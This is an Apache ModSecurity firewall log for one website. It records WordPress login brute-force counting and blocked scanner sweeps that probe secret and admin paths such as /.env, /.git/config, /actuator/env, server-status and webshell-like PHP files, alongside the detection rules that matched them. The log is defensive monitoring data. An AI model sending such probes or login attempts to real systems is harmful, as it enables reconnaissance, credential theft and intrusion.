[Sat Dec 20 16:00:21.524711 2025] [:error] [pid 14247:tid 14260] [client 185.223.152.178:39325] [client 185.223.152.178] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.178, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUZXlSDv9TtKKdJQn9nbRwAAAQs"]
[Sat Dec 20 16:00:21.525198 2025] [:error] [pid 39493:tid 39565] [client 185.223.152.200:20991] [client 185.223.152.200] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.200, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUZXlWhjL2VG_FmIHqC0BwAAAJA"]
[Sat Dec 20 16:17:03.388606 2025] [:error] [pid 39492:tid 39540] [client 49.233.45.47:40586] [client 49.233.45.47] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aUZbf4s_ZYP1UQNM9hYikwAAAFI"]
[Sat Dec 20 16:39:23.616823 2025] [:error] [pid 39577:tid 39597] [client 185.223.152.183:22917] [client 185.223.152.183] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.183, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUZgu7viRnt1rJiSOfwmPQAAANI"]
[Sat Dec 20 16:50:54.783719 2025] [:error] [pid 39492:tid 39529] [client 185.223.152.188:61891] [client 185.223.152.188] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.188, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUZjbos_ZYP1UQNM9hYougAAAEc"]
[Sat Dec 20 16:50:54.783835 2025] [:error] [pid 14286:tid 14303] [client 185.223.152.197:64867] [client 185.223.152.197] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.197, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUZjbp7rbXIrw6rGSdY_5AAAAU0"]
[Sat Dec 20 16:56:09.102465 2025] [:error] [pid 18807:tid 18828] [client 185.223.152.183:34615] [client 185.223.152.183] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.183, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUZkqWRP9n5OCTllYeXTIgAAAZM"]
[Sat Dec 20 17:01:30.319501 2025] [:error] [pid 18807:tid 18811] [client 185.223.152.195:50847] [client 185.223.152.195] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.195, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUZl6mRP9n5OCTllYeXVHwAAAYI"]
[Sat Dec 20 17:06:38.582604 2025] [:error] [pid 18807:tid 18829] [client 185.223.152.179:52677] [client 185.223.152.179] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.179, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUZnHmRP9n5OCTllYeXWpQAAAZQ"]
[Sat Dec 20 17:15:49.219531 2025] [:error] [pid 18807:tid 18832] [client 185.223.152.196:27361] [client 185.223.152.196] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.196, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUZpRWRP9n5OCTllYeXZaQAAAZc"]
[Sat Dec 20 17:15:49.299722 2025] [:error] [pid 18807:tid 18811] [client 185.223.152.188:36007] [client 185.223.152.188] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.188, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUZpRWRP9n5OCTllYeXZagAAAYI"]
[Sat Dec 20 17:27:37.672767 2025] [:error] [pid 14247:tid 14269] [client 185.223.152.187:30545] [client 185.223.152.187] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.187, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUZsCSDv9TtKKdJQn9nprgAAARQ"]
[Sat Dec 20 17:27:37.812286 2025] [:error] [pid 14247:tid 14254] [client 185.223.152.183:47305] [client 185.223.152.183] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.183, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUZsCSDv9TtKKdJQn9nprwAAAQU"]
[Sat Dec 20 17:47:52.294279 2025] [:error] [pid 18807:tid 18824] [client 185.223.152.187:42125] [client 185.223.152.187] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.187, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUZwyGRP9n5OCTllYeXhAAAAAY8"]
[Sat Dec 20 17:52:59.074045 2025] [:error] [pid 39492:tid 39545] [client 185.223.152.194:58281] [client 185.223.152.194] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.194, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUZx-4s_ZYP1UQNM9hYwzwAAAFc"]
[Sat Dec 20 17:57:54.710856 2025] [:error] [pid 39493:tid 39571] [client 185.223.152.201:22243] [client 185.223.152.201] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.201, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUZzImhjL2VG_FmIHqDMlwAAAJY"]
[Sat Dec 20 17:57:54.713388 2025] [:error] [pid 18807:tid 18826] [client 185.223.152.187:39881] [client 185.223.152.187] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.187, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUZzImRP9n5OCTllYeXkJgAAAZE"]
[Sat Dec 20 18:15:43.212527 2025] [:error] [pid 18807:tid 18819] [client 185.223.152.228:36559] [client 185.223.152.228] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.228, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUZ3T2RP9n5OCTllYeXqjQAAAYo"]
[Sat Dec 20 18:24:43.850615 2025] [:error] [pid 14247:tid 14271] [client 43.135.172.89:52422] [client 43.135.172.89] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aUZ5ayDv9TtKKdJQn9nzYQAAARY"]
[Sat Dec 20 18:37:42.309833 2025] [:error] [pid 18807:tid 18824] [client 185.223.152.194:60535] [client 185.223.152.194] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.194, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUZ8dmRP9n5OCTllYeXzMQAAAY8"]
[Sat Dec 20 18:40:46.782560 2025] [:error] [pid 39493:tid 39553] [client 157.245.113.227:51614] [client 157.245.113.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/v2/api-docs"] [unique_id "aUZ9LmhjL2VG_FmIHqDW3wAAAIQ"]
[Sat Dec 20 18:40:47.811588 2025] [:error] [pid 39493:tid 39549] [client 157.245.113.227:51624] [client 157.245.113.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/v3/api-docs"] [unique_id "aUZ9L2hjL2VG_FmIHqDW4gAAAIA"]
[Sat Dec 20 18:40:48.745817 2025] [:error] [pid 39492:tid 39535] [client 157.245.113.227:51626] [client 157.245.113.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/api-docs/swagger.json"] [unique_id "aUZ9MIs_ZYP1UQNM9hY4wwAAAE0"]
[Sat Dec 20 18:40:49.755827 2025] [:error] [pid 14286:tid 14299] [client 157.245.113.227:51632] [client 157.245.113.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/api/swagger.json"] [unique_id "aUZ9MZ7rbXIrw6rGSdZSGQAAAUk"]
[Sat Dec 20 18:40:50.761443 2025] [:error] [pid 39492:tid 39530] [client 157.245.113.227:51646] [client 157.245.113.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/@vite/env"] [unique_id "aUZ9Mos_ZYP1UQNM9hY4xQAAAEg"]
[Sat Dec 20 18:40:51.752395 2025] [:error] [pid 18807:tid 18821] [client 157.245.113.227:51658] [client 157.245.113.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/actuator/env"] [unique_id "aUZ9M2RP9n5OCTllYeXz7wAAAYw"]
[Sat Dec 20 18:40:52.788547 2025] [:error] [pid 14286:tid 14292] [client 157.245.113.227:51674] [client 157.245.113.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/php-cgi/php-cgi.exe"] [unique_id "aUZ9NJ7rbXIrw6rGSdZSHQAAAUI"]
[Sat Dec 20 18:40:53.743803 2025] [:error] [pid 39491:tid 39509] [client 157.245.113.227:51686] [client 157.245.113.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/server"] [unique_id "aUZ9NVtw2ggYvDxu2EBdAgAAAA4"]
[Sat Dec 20 18:40:54.763998 2025] [:error] [pid 39491:tid 39502] [client 157.245.113.227:51702] [client 157.245.113.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.vscode/sftp.json"] [unique_id "aUZ9Nltw2ggYvDxu2EBdBQAAAAc"]
[Sat Dec 20 18:40:56.814475 2025] [:error] [pid 14247:tid 14267] [client 157.245.113.227:52790] [client 157.245.113.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/about"] [unique_id "aUZ9OCDv9TtKKdJQn9n2kwAAARI"]
[Sat Dec 20 18:40:57.813557 2025] [:error] [pid 14286:tid 14296] [client 157.245.113.227:52804] [client 157.245.113.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/debug/default/view"] [unique_id "aUZ9OZ7rbXIrw6rGSdZSIgAAAUY"]
[Sat Dec 20 18:40:58.757872 2025] [:error] [pid 14247:tid 14251] [client 157.245.113.227:52820] [client 157.245.113.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/v2/_catalog"] [unique_id "aUZ9OiDv9TtKKdJQn9n2owAAAQI"]
[Sat Dec 20 18:40:59.767919 2025] [:error] [pid 39491:tid 39495] [client 157.245.113.227:52824] [client 157.245.113.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ecp/Current/exporttool/microsoft.exchange.ediscovery.exporttool.application"] [unique_id "aUZ9O1tw2ggYvDxu2EBdCAAAAAA"]
[Sat Dec 20 18:41:00.754009 2025] [:error] [pid 39492:tid 39523] [client 157.245.113.227:52828] [client 157.245.113.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/server-status"] [unique_id "aUZ9PIs_ZYP1UQNM9hY4xwAAAEE"]
[Sat Dec 20 18:41:01.798048 2025] [:error] [pid 18807:tid 18813] [client 157.245.113.227:52844] [client 157.245.113.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/login.action"] [unique_id "aUZ9PWRP9n5OCTllYeX0ZgAAAYQ"]
[Sat Dec 20 18:41:02.752665 2025] [:error] [pid 18807:tid 18818] [client 157.245.113.227:52848] [client 157.245.113.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/_all_dbs"] [unique_id "aUZ9PmRP9n5OCTllYeX0ZwAAAYk"]
[Sat Dec 20 18:41:03.760789 2025] [:error] [pid 18807:tid 18828] [client 157.245.113.227:52864] [client 157.245.113.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.DS_Store"] [unique_id "aUZ9P2RP9n5OCTllYeX0bgAAAZM"]
[Sat Dec 20 18:41:04.777756 2025] [:error] [pid 18807:tid 18823] [client 157.245.113.227:52868] [client 157.245.113.227] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env"] [unique_id "aUZ9QGRP9n5OCTllYeX0bwAAAY4"]
[Sat Dec 20 18:41:06.758613 2025] [:error] [pid 39491:tid 39514] [client 157.245.113.227:44064] [client 157.245.113.227] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/config"] [unique_id "aUZ9Qltw2ggYvDxu2EBdCwAAABM"]
[Sat Dec 20 18:41:07.786418 2025] [:error] [pid 39491:tid 39496] [client 157.245.113.227:44078] [client 157.245.113.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/s/4313e2232313e243e2330313/_/;/META-INF/maven/com.atlassian.jira/jira-webapp-dist/pom.properties"] [unique_id "aUZ9Q1tw2ggYvDxu2EBdEAAAAAE"]
[Sat Dec 20 18:41:08.758447 2025] [:error] [pid 14247:tid 14261] [client 157.245.113.227:44086] [client 157.245.113.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/config.json"] [unique_id "aUZ9RCDv9TtKKdJQn9n2vQAAAQw"]
[Sat Dec 20 18:41:09.767772 2025] [:error] [pid 14247:tid 14266] [client 157.245.113.227:44090] [client 157.245.113.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/telescope/requests"] [unique_id "aUZ9RSDv9TtKKdJQn9n2wAAAARE"]
[Sat Dec 20 18:41:10.800765 2025] [:error] [pid 39492:tid 39524] [client 157.245.113.227:44106] [client 157.245.113.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/info.php"] [unique_id "aUZ9Ros_ZYP1UQNM9hY4zgAAAEI"]
[Sat Dec 20 18:41:11.772458 2025] [:error] [pid 39492:tid 39536] [client 157.245.113.227:44112] [client 157.245.113.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aUZ9R4s_ZYP1UQNM9hY40AAAAE4"]
[Sat Dec 20 18:49:41.980647 2025] [:error] [pid 39577:tid 39597] [client 185.223.152.185:30845] [client 185.223.152.185] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.185, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUZ_RbviRnt1rJiSOfw_iwAAANI"]
[Sat Dec 20 18:49:41.984919 2025] [:error] [pid 14286:tid 14301] [client 185.223.152.183:32787] [client 185.223.152.183] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.183, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUZ_RZ7rbXIrw6rGSdZUbgAAAUs"]
[Sat Dec 20 20:44:03.407837 2025] [:error] [pid 33749:tid 33752] [client 4.197.92.49:40796] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/moon.php"] [unique_id "aUaaE9oInXJnb96wei9GwwAAAoE"]
[Sat Dec 20 20:44:06.693918 2025] [:error] [pid 18807:tid 18828] [client 4.197.92.49:51772] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/moon.php"] [unique_id "aUaaFmRP9n5OCTllYeUJDAAAAZM"]
[Sat Dec 20 20:44:07.448370 2025] [:error] [pid 39577:tid 39602] [client 4.197.92.49:50169] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/moon.php"] [unique_id "aUaaF7viRnt1rJiSOfxUBQAAANc"]
[Sat Dec 20 20:44:07.893411 2025] [:error] [pid 18807:tid 18816] [client 4.197.92.49:1171] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/moon.php"] [unique_id "aUaaF2RP9n5OCTllYeUJDgAAAYc"]
[Sat Dec 20 20:44:09.076770 2025] [:error] [pid 18807:tid 18830] [client 4.197.92.49:50088] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/admin-post.php"] [unique_id "aUaaGWRP9n5OCTllYeUJDwAAAZU"]
[Sat Dec 20 20:44:10.226159 2025] [:error] [pid 14286:tid 14310] [client 4.197.92.49:1840] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/admin-post.php"] [unique_id "aUaaGp7rbXIrw6rGSdZuXAAAAVQ"]
[Sat Dec 20 20:44:12.604434 2025] [:error] [pid 14286:tid 14309] [client 4.197.92.49:38771] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/admin-post.php"] [unique_id "aUaaHJ7rbXIrw6rGSdZuYQAAAVM"]
[Sat Dec 20 20:44:13.725835 2025] [:error] [pid 33844:tid 33859] [client 4.197.92.49:37049] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/admin-post.php"] [unique_id "aUaaHSaNtwGsyqqVmQHpuAAAAw0"]
[Sat Dec 20 20:44:16.578993 2025] [:error] [pid 33749:tid 33759] [client 4.197.92.49:45172] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/admin.php"] [unique_id "aUaaINoInXJnb96wei9GxQAAAog"]
[Sat Dec 20 20:44:17.709273 2025] [:error] [pid 14286:tid 14303] [client 4.197.92.49:36516] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/admin.php"] [unique_id "aUaaIZ7rbXIrw6rGSdZubgAAAU0"]
